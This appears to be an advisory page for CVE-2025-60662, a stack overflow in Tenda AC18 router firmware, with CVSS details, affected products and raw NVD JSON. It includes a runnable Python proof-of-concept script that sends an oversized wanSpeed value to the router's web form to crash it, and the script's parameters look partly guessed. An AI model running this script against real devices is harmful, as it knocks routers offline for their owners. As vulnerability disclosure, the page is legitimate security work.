Security Vulnerability Report
中文
CVE-2025-60662 CVSS 7.5 HIGH

CVE-2025-60662

Published: 2025-10-02 16:15:39
Last Modified: 2025-10-07 17:44:05

Description

Tenda AC18 V15.03.05.19 was discovered to contain a stack overflow via the wanSpeed parameter in the fromAdvSetMacMtuWan function.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac18_firmware:15.03.05.19:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac18:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC18 V15.03.05.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-60662 - Tenda AC18 Stack Overflow PoC Vulnerability: Stack buffer overflow via wanSpeed parameter in fromAdvSetMacMtuWan function Target: Tenda AC18 V15.03.05.19 Author: Security Researcher """ import requests import sys def exploit(target_ip, target_port=80): """ Exploit the stack overflow vulnerability in fromAdvSetMacMtuWan function by sending an oversized wanSpeed parameter. """ target_url = f"http://{target_ip}:{target_port}/goform/AdvSetMacMtuWan" # Construct the payload with an oversized wanSpeed parameter # The buffer overflow occurs when wanSpeed exceeds the expected length overflow_data = "A" * 1024 # Adjust length based on buffer size payload = { "wanSpeed": overflow_data, # Additional parameters that may be required by the function "MTU": "1500", "mac": "00:11:22:33:44:55" } headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-60662)", "Content-Type": "application/x-www-form-urlencoded", "Referer": f"http://{target_ip}:{target_port}/login.html" } try: print(f"[*] Targeting: {target_url}") print(f"[*] Payload size: {len(overflow_data)} bytes") response = requests.post( target_url, data=payload, headers=headers, timeout=10 ) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") # Check if the device crashed or responded abnormally if response.status_code == 500 or "error" in response.text.lower(): print("[+] Target may be vulnerable!") else: print("[*] Request sent successfully") except requests.exceptions.Timeout: print("[+] Target appears to have crashed (timeout) - likely vulnerable!") except requests.exceptions.ConnectionError: print("[+] Connection refused - target may have crashed!") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [target_port]") print(f"Example: {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target_ip, target_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60662", "sourceIdentifier": "[email protected]", "published": "2025-10-02T16:15:38.517", "lastModified": "2025-10-07T17:44:04.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AC18 V15.03.05.19 was discovered to contain a stack overflow via the wanSpeed parameter in the fromAdvSetMacMtuWan function."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac18_firmware:15.03.05.19:*:*:*:*:*:*:*", "matchCriteriaId": "BA3A313A-5085-4ABB-92D0-A26208EE44FB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac18:-:*:*:*:*:*:*:*", "matchCriteriaId": "CF9F8AF9-F921-4348-922B-EE5E6037E7AC"}]}]}], "references": [{"url": "https://drive.google.com/file/d/1-XpZmT_Yw5JtygQJ6HZBRnC5IjlAnLQO/view?usp=sharing", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}